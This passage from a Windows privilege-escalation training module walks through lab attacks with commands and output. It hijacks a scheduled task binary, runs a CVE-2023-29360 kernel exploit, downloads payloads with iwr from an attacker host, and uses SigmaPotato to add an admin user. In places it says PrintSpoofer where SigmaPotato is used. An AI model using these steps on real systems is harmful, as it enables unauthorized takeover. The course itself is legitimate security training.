                                                CLIENTWK220\offsec:(I)(F)

Listing 76 - Display permissions on the executable file BackendCacheCleanup.exe

As expected, we have Full Access (F) permissions, since the executable file is in the home directory of steve. Now, we can use our binary adduser.exe again to replace the executable file specified in the action of the scheduled task.

To do so, we'll start a Python3 web server to serve our cross-compiled file, adduser.exe, and use iwr to download it to CLIENTWK220. We'll also copy the original BackendCacheCleanup.exe so we can restore it after our privilege escalation attack is successful.

PS C:\Users\steve> iwr -Uri http://192.168.48.3/adduser.exe -Outfile BackendCacheCleanup.exe

PS C:\Users\steve> move .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.bak

PS C:\Users\steve> move .\BackendCacheCleanup.exe .\Pictures\

Listing 77 - Download and replace executable file BackendCacheCleanup.exe

Once the scheduled task is executed again, dave2 should be created and added to the local Administrators group. After waiting a minute, we can check if our privilege escalation attack was successful.

PS C:\Users\steve> net user

User accounts for \\CLIENTWK220

-------------------------------------------------------------------------------
Administrator            BackupAdmin              dave
dave2                    daveadmin                DefaultAccount
Guest                    offsec                   steve
WDAGUtilityAccount
The command completed successfully.

PS C:\Users\steve> net localgroup administrators
Alias name     administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
BackupAdmin
dave2
daveadmin
offsec
The command completed successfully.

Listing 78 - Display permissions on the executable file BackendCacheCleanup.exe

Listing 78 shows that we successfully replaced the executable file used by the scheduled task to create an administrative user whose credentials we control. Great!

In this section, we leveraged a similar privilege escalation attack as we did in the section "Service Binary Hijacking". This time however, we focused on scheduled tasks instead of Windows services. We learned how to effectively enumerate scheduled tasks and which properties may be of interest to us. We concluded the section by replacing the executable file and creating the user dave2, which is a member of the local Administrators group.

Resources

Some of the labs require you to start the target machine(s) below.

Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.

Windows Privilege Escalation - Scheduled Tasks - VM #1
Windows Privilege Escalation - Scheduled Tasks - VM #2

Labs

  1. Follow the steps from this section on CLIENTWK220 (VM #1) to exploit the scheduled task CacheCleanup by replacing the binary specified as action. Obtain code execution, an interactive shell, or access to the GUI as administrative user and find the flag on the desktop of daveadmin.
  1. Connect to CLIENTWK221 (VM #2) via RDP as the user moss with the password work6potence6PLASMA6flint7. Enumerate the scheduled tasks on the system and find a way to obtain an interactive shell as user running the scheduled task. The flag can be found on the desktop.

16.3.2. Using Exploits

In the previous sections, we attempted to elevate our privileges by searching for sensitive information on a system or abusing Windows components such as Windows services or scheduled tasks. In this section, we'll discuss three different kinds of exploits leading to privilege escalation and then show two of them in an example.

The first kind is to exploit application-based vulnerabilities. Installed applications on a Windows system may contain different types of vulnerabilities as we learned in the Module "Locating Public Exploits". If these applications run with administrative permissions and we can exploit a vulnerability that leads to code execution, we can also successfully elevate our privileges.

The second kind is to exploit vulnerabilities in the Windows Kernel.1 However, the vulnerability research and related exploit techniques are, in most cases, quite advanced and require an in-depth understanding of the Windows operating system. For the purposes of this Module, it is enough to understand that Windows kernel exploits exist and can be used for privilege escalation.

Before we blindly download and use a kernel exploit, we need to consider that these types of exploits can easily crash a system. Depending on the rules of engagement of a penetration test, we may not be allowed to use methods that will potentially disrupt services or systems. Therefore, we should always have a clear understanding of our limitations, exclusions, and boundaries in a real-life assessment. These words of caution should not lead us to abstain from all kernel exploits, but provide us with the correct mindset when working with them.

Let's show how we can take advantage of kernel exploits in an example by connecting to CLIENTWK220 with RDP as steve and password securityIsNotAnOption++++++. We'll start PowerShell and use whoami /priv to display the assigned privileges of steve.

PS C:\Users\steve> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeSecurityPrivilege           Manage auditing and security log     Disabled
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

Listing 79 - Logging in over RDP as steve and checking our current privileges

Listing 79 shows that steve does not have any special privileges assigned. Our next step is to enumerate the version of Windows as well as any security patches installed.

PS C:\Users\steve> systeminfo

Host Name:                 CLIENTWK220
OS Name:                   Microsoft Windows 11 Pro
OS Version:                10.0.22621 N/A Build 22621
...
PS C:\Users\steve> Get-CimInstance -Class win32_quickfixengineering | Where-Object { $_.Description -eq "Security Update" }

Source        Description      HotFixID      InstalledBy          InstalledOn
------        -----------      --------      -----------          -----------
              Security Update  KB5025239                          5/4/2023 12:00:00 AM
              Security Update  KB5025749                          5/4/2023 12:00:00 AM
              Security Update  KB5017233                          9/25/2022 12:00:00 AM

Listing 80 - Enumerating the Windows version and security patches

The output from Listing 80 shows that not many security updates are present on this Windows 22H2 version. Going over the Security Vulnerabilities section of the Microsoft Security Response Center2 we can see that quite a few kernel vulnerabilities that can lead to the elevation of privileges are being patched.

After extensive searches on the internet we are able to locate public exploit code for the CVE-2023-293603. In addition to the source code being available a pre-compiled version of the exploit is also provided. Looking at the official MSRC website for this vulnerability we notice that Microsoft provides security patches4 for this vulnerability, specifically we can see the patch is deployed as KB5027215 which was not present on our target.

We already have a compiled version of the kernel exploit present on the virtual machine on the Desktop directory of the steve user.

PS C:\Users\steve> cd .\Desktop\

PS C:\Users\steve\Desktop> dir


    Directory: C:\Users\steve\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          9/3/2024   2:00 AM         157184 CVE-2023-29360.exe
-a----          9/3/2024   1:59 AM           2354 Microsoft Edge.lnk

Listing 81 - Locating the kernel exploit on the Desktop of the steve user

Let's inspect the current user we're running as, following this we will run the exploit and then see if anything changed.

PS C:\Users\steve\Desktop> whoami
clientwk220\steve
PS C:\Users\steve\Desktop> .\CVE-2023-29360.exe
[+] Device Description: Microsoft Streaming Service Proxy
Hardware IDs:
        "SW\{96E080C7-143C-11D1-B40F-00A0C9223196}"
[+] Device Instance ID: SW\{96E080C7-143C-11D1-B40F-00A0C9223196}\{3C0D501A-140B-11D1-B40F-00A0C9223196}
[+] First mapped _MDL: 25f9aa00140
[+] Second mapped _MDL: 25f9aa10040
[+] Unprivileged token reference: ffffd1072dde6061
[+] System token reference: ffffd1071de317d5
Microsoft Windows [Version 10.0.22621.1555]
(c) Microsoft Corporation. All rights reserved.

C:\Users\steve\Desktop>whoami
nt authority\system

Listing 82 - Elevating our privileges to SYSTEM

Listing 82 shows that we were able to successfully elevate our privileges by running the kernel exploit.

While how the exploit works is outside the scope of this module, it's important to know that such exploits are only used when the accompanying source code is available to ensure that nothing malicious is done by the binary. Additionally kernel exploits, if allowed to be used, are tested on a clone of the target before to ensure that the system will not crash upon execution.

Now that we've seen a kernel exploit in action, the last kind of attack vector for privilege escalation is to abuse certain Windows privileges. Non-privileged users with assigned privileges, such as SeImpersonatePrivilege, can potentially abuse those privileges to perform privilege escalation attacks. SeImpersonatePrivilege offers the possibility to leverage a token with another security context. Meaning, a user with this privilege can perform operations in the security context of another user account under the right circumstances. By default, Windows assigns this privilege to members of the local Administrators group as well as the device's LOCAL SERVICE, NETWORK SERVICE, and SERVICE accounts. Microsoft implemented this privilege to prevent unauthorized users from creating a service or server application to impersonating clients connecting to it. An example would be Remote Procedure Calls (RPC)5 or named pipes.6

Other privileges that may lead to privilege escalation are SeBackupPrivilege, SeAssignPrimaryToken, SeLoadDriver, and SeDebug. In this section, we'll closely inspect privilege escalation vectors in the context of SeImpersonatePrivilege.

In penetration tests, we'll rarely find standard users with this privilege assigned. However, we'll commonly come across this privilege when we obtain code execution on a Windows system by exploiting a vulnerability in an Internet Information Service (IIS)7 web server. In most configurations, IIS will run as LocalService, LocalSystem, NetworkService, or ApplicationPoolIdentity,8 which all have SeImpersonatePrivilege assigned. This also applies to other Windows services.

Before we head into the example, let's discuss named pipes and how we can use them in the context of SeImpersonatePrivilege to impersonate a privileged user account.

Named pipes are one method for local or remote Inter-Process Communication9 in Windows. They offer the functionality of two unrelated processes sharing and transferring data with each other. A named pipe server can create a named pipe to which a named pipe client can connect via the specified name. The server and client don't need to reside on the same system.

Once a client connects to a named pipe, the server can leverage SeImpersonatePrivilege to impersonate this client after capturing the authentication from the connection process. To abuse this, we need to find a privileged process and coerce it into connecting to a controlled named pipe. With SeImpersonatePrivilege assigned, we can then impersonate the user account connecting to the named pipe and perform operations in its security context.

For this example, we'll use a tool named SigmaPotato10, which implements a variation of the potato privilege escalations11 to coerce NT AUTHORITY\SYSTEM into connecting to a controlled named pipe. We can use this tool in situations where we have code execution as a user with the privilege SeImpersonatePrivilege to execute commands or obtain an interactive shell as NT AUTHORITY\SYSTEM.

Now, let's begin by connecting to the bind shell on port 4444 on CLIENTWK220 as we did in the previous sections. We use whoami /priv to display the assigned privileges of dave.

kali@kali:~$ nc 192.168.50.220 4444
Microsoft Windows [Version 10.0.22000.318]
(c) Microsoft Corporation. All rights reserved.

C:\Users\dave> whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeSecurityPrivilege           Manage auditing and security log          Disabled
SeShutdownPrivilege           Shut down the system                      Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeUndockPrivilege             Remove computer from docking station      Disabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
SeTimeZonePrivilege           Change the time zone                      Disabled

Listing 83 - Checking assigned privileges of dave

Listing 83 shows that dave has the privilege SeImpersonatePrivilege assigned. Therefore, we can attempt to elevate our privileges by using PrintSpoofer. Let's open another terminal tab on Kali, download the 64-bit version of this tool, and serve it with a Python3 web server.

kali@kali:~$ wget https://github.com/tylerdotrar/SigmaPotato/releases/download/v1.2.6/SigmaPotato.exe
...
2024-09-03 12:50:48 (1.26 MB/s) - 'SigmaPotato.exe' saved [63488/63488]

kali@kali:~$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Listing 84 - Downloading PrintSpoofer64.exe and serve it with a Python3 web server

In the terminal tab with the active bind shell, we'll start a PowerShell session and use iwr to download SigmaPotato.exe from our Kali machine.

C:\Users\dave> powershell
powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\dave> iwr -uri http://192.168.48.3/SigmaPotato.exe -OutFile SigmaPotato.exe
iwr -uri http://192.168.48.3/SigmaPotato.exe -OutFile SigmaPotato.exe

Listing 85 - Downloading SigmaPotato.exe to CLIENTWK220

While using SigmaPotato.exe we are able to execute commands in the context of NT AUTHORITY\SYSTEM. We will use the net user command to add a new user to the system and following this we will add that user to the Administrators localgroup.

S C:\Users\dave> .\SigmaPotato "net user dave4 lab /add"
.\SigmaPotato "net user dave4 lab /add"
[+] Starting Pipe Server...
[+] Created Pipe Name: \\.\pipe\SigmaPotato\pipe\epmapper
[+] Pipe Connected!
...
[+] Process Started with PID: 2004

[+] Process Output:
The command completed successfully.

PS C:\Users\dave> net user
net user

User accounts for \\CLIENTWK220

-------------------------------------------------------------------------------
Administrator            BackupAdmin              dave                     
dave4                    daveadmin                DefaultAccount           
Guest                    offsec                   steve                    
WDAGUtilityAccount       
The command completed successfully.

PS C:\Users\dave> .\SigmaPotato "net localgroup Administrators dave4 /add"
.\SigmaPotato "net localgroup Administrators dave4 /add"
[+] Starting Pipe Server...
[+] Created Pipe Name: \\.\pipe\SigmaPotato\pipe\epmapper
[+] Pipe Connected!
...
[+] Process Started with PID: 10872

[+] Process Output:
The command completed successfully.


PS C:\Users\dave> net localgroup Administrators
net localgroup Administrators
Alias name     Administrators
Comment        Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
Administrator
BackupAdmin
dave4
daveadmin
offsec
The command completed successfully.

Listing 86 - Using the SigmaPotato tool to get add a new user to the Administrators localgroup.

Listing 86 shows that we successfully performed the privilege escalation attack and were able to add a new user user the Adminsitrators localgroup_. Excellent!

While SigmaPotato provided us a straightforward exploit process to elevate our privileges, there are also other tools that can abuse SeImpersonatePrivilege for privilege escalation. Variants from the Potato12 family (for example RottenPotato, SweetPotato, , JuicyPotato or Godpotato) are such tools. We should take the time to study these tools.

Let's briefly summarize what we did in this section. First, we explored different kinds of vulnerabilities we can abuse using exploits in the context of privilege escalation. Then, we discussed the SeImpersonatePrivilege privilege and how we can use it to impersonate privileged accounts. Finally, we used a tool named PrintSpoofer to leverage this privilege to obtain an interactive PowerShell session as NT AUTHORITY\SYSTEM.

11

(Potatoes - Windows Privilege Escalation, 2020), https://jlajara.gitlab.io/Potatoes_Windows_Privesc ↩︎

Resources

Some of the labs require you to start the target machine(s) below.

Please note that the IP addresses assigned to your target machines may not match those referenced in the Module text and video.

Windows Privilege Escalation - Using Exploits - VM #1
Windows Privilege Escalation - Using Exploits - VM #2
Windows Privilege Escalation - VM #3

Labs

  1. Follow the steps from this section on CLIENTWK220 (VM #1). Use the CVE-2023-29360 exploit located on the Desktop of the steve user to elevate your privileges to NT AUTHORITY\SYSTEM and find the flag on the desktop of daveadmin.
  1. Follow the steps from this section on CLIENTWK220 (VM #2). Use SigmaPotato to obtain code execution, an interactive shell, or access to the GUI as administrative user and find the flag on the desktop of daveadmin.
  1. Capstone Lab: Get access to CLIENTWK222 (VM #3) by connecting to the bind shell on port 4444. Use the methods covered in this Module to elevate your privileges to an administrative user. Enter the flag, which is located in C:\Users\enterpriseadmin\Desktop\flag.txt.

16.4. Wrapping Up

In this Module, we covered various methods to perform privilege escalation attacks on Windows systems. We started by exploring both manual and automated enumeration techniques to identify sensitive information and establish situational awareness. Then, we discussed three different methods to elevate our privileges by abusing Windows services. In the last Learning Unit, we explored how we can abuse scheduled tasks and discussed what types of exploits can lead to privilege escalation.

The methods covered in this Module are some of the most common methods for privilege escalation on Windows. However, there are numerous other vectors we can leverage to elevate our privileges such as privileged file writes.1 In addition, privilege escalation is an ever-evolving landscape in which new vectors and vulnerabilities are continuously discovered and developed. Nevertheless, we'll face situations in penetration tests where it is not possible to perform successful privilege escalation due to a good security posture or security technologies on the target system. In these situations, we should leverage the methods and techniques we learned in other Modules and try to attack other systems and services.

Previous Module

Password Attacks

Next Module

Linux Privilege Escalation

Learning Modulenotes